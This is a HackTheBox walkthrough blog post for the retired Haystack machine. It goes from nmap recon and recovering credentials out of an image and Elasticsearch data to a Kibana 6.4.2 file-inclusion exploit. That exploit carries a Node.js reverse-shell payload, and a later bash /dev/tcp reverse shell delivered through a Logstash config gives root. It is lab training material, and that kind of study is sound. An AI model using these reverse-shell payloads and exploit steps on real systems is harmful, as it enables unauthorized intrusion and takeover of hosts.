Sitemap

HackTheBox — Haystack Walkthrough

8 min readJan 25, 2020

--

Haystack
Press enter or click to view image in full size
Info Card

Summary

This is a write-up for a easy retired machine, Haystack from hackthebox.eu. The box was quite interesting, it was running a Kibana instance, but the instance was not open for access but the Elasticsearch instance was. Generally Kibana is the interaction interface for such setup of Kibana, Elasticsearch and Logstash. Let’s dig into the box.

Recon

Let us start off with nmap. I like to use -sC and -sV flags.

nmap -sC -sV -oA nmap/initial 10.10.10.115

Looking at the results:

# Nmap 7.80 scan initiated Sat Jan 18 22:34:01 2020 as: nmap -sC -sV -oA nmap/initial 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.15s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 22:34:34 2020 -- 1 IP address (1 host up) scanned in 32.93 seconds

We can see that there are three ports open. SSH on port 22, HTTP on 80 and 9200. From the header we can figure out that port 9200 is running an API as the server title says application/json, and the 80 has text/html. Let us visit them both.

Visiting port 80:

Press enter or click to view image in full size
HTTP on Port 80

We can only see and image. Let us download it and check if we can find any data. We will use wget to download the image rather than downloading it from browser. What this will do is preserve the meta data and won’t change the modified date in the meta data.

wget http://10.10.10.115/needle.jpg

Let us run an strings on the downloaded image file.

strings needle.jpg
strings output

At the very end we find some base64 encoded text. Let us see what that is.

echo -n bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
base64 decoded text

It is in Spanish, so we move on to google translate and use google translate to figure out what the sentence is.

Translation

So we get a hint that there will be some key that we will get. We can leverage this to get in the box.

Now, let’s check port 9002.

HTTP on 9002

We can see from that it is an elasticsearch instance and the version is 6.4.2. It also leaks the information that it is a rpm build. Which means the server is based on Red Hat Linux distribution.

Before we move any further let’s see if we can find the commands in the API documentation to get any other information. Let’s visit the page.

The search API and cat API seems interesting. We can check them out.

Let’s have a look at the cat APIs.

Press enter or click to view image in full size
Example
curl http://10.10.10.115:9200/_cat/master?v
cat output

Let us check what else we can check from _cat

curl http://10.10.10.115:9200/_cat/
cat output

The indices look interesting we can check it out

curl http://10.10.10.115:9200/_cat/indices
Press enter or click to view image in full size
cat indices output

We can see there are two databases quotes and bank.

Get Mainul Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

We can start having a look at those via the search APIs. The jq is basically a command line json processor which helps us visualize the data better.

curl -s http://10.10.10.115:9200/quotes/_search?size=1 | jq
Press enter or click to view image in full size
output from search

We can sort out the the fields and can only get quote as output.

curl -s http://10.10.10.115:9200/quotes/_search\?size\=1 | jq '.hits .hits[] ._source .quote'
Press enter or click to view image in full size
Quotes Output

We can do the same with bank index and check it out. But here we can see that the quotes are in Spanish. So, we need to translate them to English. We can automate the process by a simple python script. There is a python library for the same, googletrans.

import requests
import json
from googletrans import Translator
t = Translator()r = requests.get('http://10.10.10.115:9200/quotes/_search?size=253')
quotes = json.loads(r.text)
for quote in quotes['hits']['hits']:
q = quote['_source']['quote']
qt = (t.translate(q)).text
print (qt)
print ()

This will give us the output in English, then we can look through it. This command may take some time.

python3 exploit.py > transated.txt

Now we can grep the output for keyword that we discovered before key.

cat translated.txt | grep key
Press enter or click to view image in full size
output from grep

We get two base64 keywords let’s decode them and see what we get.

echo -n dXNlcjogc2VjdXJpdHkg | base64 -d
echo -n cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
Press enter or click to view image in full size
username
password

Voila! We have a username and a password. Let’s try to get in.

Initial Foothold

We will try to login to the machine using the username and password through ssh.

Press enter or click to view image in full size
SSH to security

Enumeration

We are in the box. Let’s run LinEnum.sh and see if we can find anything interesting. For that we will start our python HTTP server and download the file in the box and run it.

python3 -m http.server 80

On the remote session we will do a curl to download the file.

curl http://10.10.14.7/LinEnum.sh -o LinEnum.sh

Let’s run the script and see if we get anything interesting. We will use the -t flag to run through checks.

chmod +x LinEnum.sh
./LinEnum.sh -t

Going through the results we can there are two thing that certainly catches out attention. There is port 5601 on localhost that is listening and logstash process running as root. If we google about port 5601 we can see it is the default port for Kibana.

Press enter or click to view image in full size
Port 5601 is listening on the localhost
Press enter or click to view image in full size
logstash running as root

We can check the logstash directory and see if there is anything interesting that we can take advantage of and we can take a look at the Kibana portal by doing some local port forwarding.

We can visit

/etc/logstash/conf.d

But upon visiting we get permission denied error

Press enter or click to view image in full size
permission denied

Privilege Escalation

We need to escalate to another user to see the files. We need to checkout the 5601 port. We will do a local port forwarding. In the remote session we will type ~c as the first command on a new line. Then

L 5602:127.0.0.1:5601

This will forward the port to our machine and when we will hit http://localhost:5602/ on our machine we will be able to interact with the Kibana instance.

Local Port Forwarding

We visit the url and we can see

Press enter or click to view image in full size
Kibana

We can check the Management page and check if we can see the version.

Press enter or click to view image in full size
Version 6.4.2

The Kibana version is 6.4.2. We can find out if there are any exploits for the same.

We get a GitHub link for the exploit. Let’s try that out.

It is an LFI vulnerability which we can exploit to get a shell back to our machine. We will be putting the below code in a file and try to execute this. This would return us a reverse shell on the port 1337.

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.7", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

To do the LFI we need to visit the below URL. Where path/to/shell.js should be changed to our file location. I am creating the file in /dev/shm

http://localhost:5602/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js

We need to start out netcat on port 1337 in listen mode

nc -lvnp 1337

We curl the url and we get a shell back as kibana

Press enter or click to view image in full size
Reverse Shell as Kibana

Now we can visit the /etc/logstash/conf.d and find out if there is something that we can leverage to get a root shell.

We observe that it taking an input from any file named as logstash_* from /opt/kibana. So, if we can create file which will get executed we can get a shell back as root, because as we saw before from the LinEnum.sh logstash is running as root.

Press enter or click to view image in full size
cat of the conf.d files

The filter is basically matching the string from the file. ‘\s*’ is space. We need to create a file which starts with ‘logstash_’ and need to write in the file.

cd /opt/kibana
vi logstash_shell

Pattern to match the filter Ejecutar comando : ourcommand

Ejecutar comando : bash -i >& /dev/tcp/10.10.14.7/1337 0>&1

We can now save the file and start listening on port 1337 on our machine.

nc -lnvp 1337

As soon as the file gets executed we should get a shell as root, and after a while we get a shell back as root.

Press enter or click to view image in full size
root shell

Flags

[root@haystack ~]# cat root.txt
cat root.txt
3f5f727c38d9f...a11059d92
[root@haystack ~]# cat /home/security/user.txt
cat /home/security/user.txt
04d18bc79dac1d4d...0c8eb929
Trophy

This was a small write-up on Haystack.

~m1kU

--

--

Mainul Hasan
Mainul Hasan